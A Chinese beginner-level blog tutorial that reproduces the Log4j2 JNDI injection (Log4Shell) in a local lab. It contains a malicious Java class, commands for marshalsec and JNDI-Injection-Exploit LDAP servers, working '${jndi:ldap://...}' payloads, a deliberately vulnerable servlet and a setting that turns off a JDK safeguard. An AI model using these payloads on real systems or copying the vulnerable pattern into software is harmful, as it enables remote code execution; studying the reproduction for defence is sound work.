Log4j2漏洞复现(小白向教程)

最近,出来了个Log4j2的漏洞,安全圈跟过年了一样,于是也跟着热闹热闹。

Log4j2作为一个开源的Java日志记录插件,被众多项目引用,因此,当其漏洞出现时,影响的范围也极大,可以算是继Python的request库之后的又一重大供应链攻击了。

对其漏洞进行了复现和分析,这里做个记录。

实验环境

  • Windows 10
  • jdk 1.8.121(理论上JDK 6u211、7u201、8u191之前的版本都行)
  • Tomcat v9.0
  • marshalsec(用JNDI-Injection-Exploit也可)

环境搭建

jdk安装

下载指定版本的jdk,双击安装即可,记得勾选将Java添加到path中这个选项,完事之后,在命令行窗口输入java -version查看版本号,出现如下所示界面即为安装成功:

安装成功

maven安装

去官网https://maven.apache.org/download.cgi下载maven:

下载maven

然后解压,放到自己电脑的安装目录,然后新建一个系统变量,名字为MAVEN_HOME,内容为安装目录(放到哪就填哪):

新建系统变量

最后在命令行窗口输入命令mvn -v测试一下:

maven安装成功

Tomcat安装

在官网https://tomcat.apache.org/下载对应版本的Tomcat即可,这里因为用的jdk1.8,所以下载Tomcat 9.0:

下载Tomcat

这里选择了其直接运行安装的版本:


Tomcat下载

直接双击安装即可,其中除了端口号需要指定(默认也可),以及选择安装目录为上文jdk的安装目录外,其他默认即可:


选择目录

Eclipse安装&配置Tomcat

直接去官网下载免安装Eclipse免安装版本,然后解压即可

解压完成之后,双击eclipse.exe打开软件,随意选择一个文件夹为项目地址,然后启动即可。

eclipse启动之后,需要对其环境进行配置。点击上方Window->Preferences->Java->Compiler,选择Compiler Compliance level为对应的Java环境,这里选择1.8

设定编译器

Window->Preferences->Java->Installed JREs中,点击右边Add...按钮添加本机的jdk:
添加本机jdk

然后点击上方Window->Preferences->Server->Runtime Environment->Add...添加Tomcat服务器,在弹出的对话框中选择Apache->Apache Tomcat v9.0,然后点击Next

配置Tomcat.png

在弹出的对话框中点击Browse...按钮,选择之前Tomcat的安装目录,然后JRE选择jdk1.8.0_121,点击Finish即可:

选择本地Tomcat

然后在对话框中选择我们刚刚添加的Tomcat之后点击下方应用按钮:


应用Tomcat配置.png

新建项目

完事之后,新建一个Java web项目,依次点击上方File->New->Dynamic Web Project

新建项目.png

然后输入项目名称,选择目标运行环境,这里选择Tomcat v9.0,其他默认即可,然后点击Finish完成创建:

项目创建.png

在项目处鼠标右键,选择Properties,按照下图所示设置Java环境:

设定Java环境1

设定Java环境2

然后点击上方Window->Show View->Servers创建服务,会在下方出现链接,提示No servers are available. Click this link to create a new server...

创建服务.png

点击该链接,在弹出的对话框中选择Tomcat 9作为服务器,点击下一步:


新建服务.png

然后点击我们的项目,点击Add >按钮,添加到右边的框中完成配置,最后点击Finish按钮:

选择项目

完事之后,会在下方出现我们添加的服务,鼠标右键单击服务,选择Start启动服务:

启动服务.png

这个时候报了个错,说是端口被占用:


报错.png

问题不大,双击服务,在上方图示位置配置一下端口即可:


配置端口.png

攻击复现

这里有两种复现方式,分别是使用marshalsec和JNDI-Injection-Exploit进行LDAP服务的搭建以进行复现,其功能对比如下:

marshalsec JNDI-Injection-Exploit
是否需要自己编写恶意类代码
是否可以自定义恶意类名
是否可指定LDAP服务端口 是,可在命令行指定端口 是,但需更改源码,之后重新编译打包
恶意类代码是否需要搭建Web Server

总的来说,使用marshalsec搭建LDAP服务进行复现能够更加自由,但所需步骤也更加繁琐;相比之下,JNDI-Injection-Exploit封装程度更高,复现起来更加简单,但不如marshalsec能够实现的功能丰富

使用marshalsec搭建LDAP服务

恶意类编写&上线

首先编写一个恶意类:

public class Exploit {
    public Exploit(){
        try{
            String[] commands = {"calc.exe"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

将该文件保存为Exploit.java,名称得和类名一致,然后打开文件所在根目录的命令行窗口,运行命令编译该类为.class文件:

javac Exploit.java

完事之后会在当前目录生成Exploit.class文件:

编译成功

在命令行窗口运行命令启动一个web服务,以方便该类的下载:

python3 -m http.server 8800
启动web服务

可以使用浏览器访问看看效果:


浏览器访问

启动LDAP服务

下载marshalsec,在其根目录打开命令行窗口,执行以下命令打包为jar包:

mvn clean package -DskipTests

完了之后会在当前目录生成一个target文件夹:

打包完成

其中就是我们需要用到的jar包:


jar包

然后运行在当前目录运行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit"

然后报了个错,说是端口被占用:

端口被占用

使用命令netstat -ano查看了一下,并没有找到该端口被占用的情况,于是干脆给marshalsec指定端口,使用以下命令运行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit" 8801
使用指定端口运行marshalsec

因此,payload即为:

${jndi:ldap://127.0.0.1:8801/Exploit}

使用JNDI-Injection-Exploit搭建LDAP服务进行复现

首先下载JNDI-Injection-Exploit源码,由于本机1389端口依然被占用,所以需要更改JNDI-Injection-Exploit-master\src\main\java\run文件夹下的ServerStart.java文件的源码内容:

更改ldap端口

然后使用maven打包:

mvn clean package -DskipTests

完事之后出现target目录,其中就有我们需要的jar包,在target目录下运行命令启动ldap服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "127.0.0.1"

其中,-C后面的为想要执行的命令,-A后面的为服务运行的地址,也就是本机地址,由于攻防都在同一机器上,就没有使用公网IP:

运行JNDI-Injection-Exploit

由于我们使用的为jdk1.8,因此payload也就为:

${jndi:ldap://127.0.0.1:8176/9e4fb5}

后面的步骤使用的marshalsec进行复现,不过如果使用JNDI-Injection-Exploit,也只需要更换payload即可,这两个工具都只是为了搭建ldap服务,编写恶意命令而已

启动Log4j2

在之前创建的项目处右键单击,选择新建servlet:


新建servlet

然后输入包名和servlet类名即可:


servlet配置

然后复制粘贴内容如下:

package com.dubito;

import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;



@WebServlet("/Log4j2Servlet")
public class Log4j2Servlet extends HttpServlet {
    private static final long serialVersionUID = 1L;
    private static final Logger logger = LogManager.getLogger(Log4j2Servlet.class);
    /**
     * @see HttpServlet#HttpServlet()
     */
    public Log4j2Servlet() {
        super();
        // TODO Auto-generated constructor stub
    }

    /**
     * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // TODO Auto-generated method stub
        response.setContentType("text/html");
        response.setHeader("Content-Type", "text/html; charset=utf-8");
        System.out.println(request.getQueryString());


        // Hello
        PrintWriter out = response.getWriter();
        out.println("");
        out.println("

Hello World!

"); out.println(""); } /** * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) */ protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // TODO Auto-generated method stub String name = request.getParameter("aaa"); System.out.println(name); logger.error(name); response.setContentType("text/html"); response.setHeader("Content-Type", "text/html; charset=utf-8"); PrintWriter out = response.getWriter(); out.println(""); out.println("

Got it!

"); out.println(""); } }

其中,在doPost函数内,设定使用参数aaa接收用户输入,然后使用logger.error()打印用户输入的字符作为日志信息,也就是在这个函数中,Log4j2存在命令执行的漏洞,可以使用形如${}的字符串调用Lookup以执行命令
完成之后,会发现eclipse报错,这是因为没有导入包的缘故。

去官网下载Log4j2的包:

下载Log4j2

解压之后会出现好多jar包,然后将jar包拖到src->main->webapp->WEB-INF->lib文件夹内,然后在弹窗中选择Copy files,最终结果:

拖入jar包

然后项目处右键,选择Build Path->Configure Build Path...

构建path

在右侧选择Libraries,点击Add jars...添加jar包:
添加jar包

然后启动服务:


启动服务

浏览器访问一下,发现服务构建成功:


构建成功

然后使用hackbar发送payload:
${jndi:ldap://ds5bia.dnslog.cn}

其中的地址为dnslog申请的地址:


hackbar发送payload

发现报错java.lang.IllegalArgumentException: 在请求目标中找到无效字符。有效字符在RFC 7230和RFC 3986中定义

报错

这是由于请求的参数包含特殊字符无法被解析,于是编辑server中的server.xml文件,将以下代码加入到图示位置:

 relaxedPathChars="{}[],%/" relaxedQueryChars="{}[],%/"
添加允许的字符

然后再运行一遍,发现dnslog成功回显:


dnslog复现成功

然后使用以下payload进行RCE:

${jndi:ldap://127.0.0.1:8801/Exploit}

发现报错:

RCE报错

显示Reference Class Name: foo,这是由于jdk1.8.121-191的版本开启了安全选项(1.8.191及其以上的版本限制更加严格,可能导致复现失败,建议采用文章开头推荐的版本),于是在源码中进行设置,允许远程URL:

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
设置属性

然后再次运行,进行RCE,发现成功:


RCE成功

PS:如果发现上述问题还是没有得到解决,请仔细核对下图所示的地方查看jdk版本是否符合要求(即是否为JDK 6u211、7u201、8u191之前的版本):


查看运行环境

如果不是的话,请参考前文eclipse环境配置处分别配置eclipse的Java编译器环境、系统环境、服务运行环境为符合条件的jdk。

如果所有环境配置完毕,但上图位置显示的环境还是不对,重新建项目,再来一次就可以了

如果环境对了,dnslog复现成功,但使用插件复现不成功,请确认端口一致性:


端口一致

如果端口确保一致,但请求链接cmd窗口依然没有更新,可以尝试在窗口按一下enter键,有可能是因为长时间没有操作窗口卡了

参考资料

  • Log4J 漏洞复现+漏洞靶场
  • eclipse配置tomcat,并部署一个Java web项目到tomcat上
  • 【入坑JAVA安全】老公,JNDI注入是什么呀?
  • Java Web(一) Servlet详解!!

你可能感兴趣的:(Log4j2漏洞复现(小白向教程))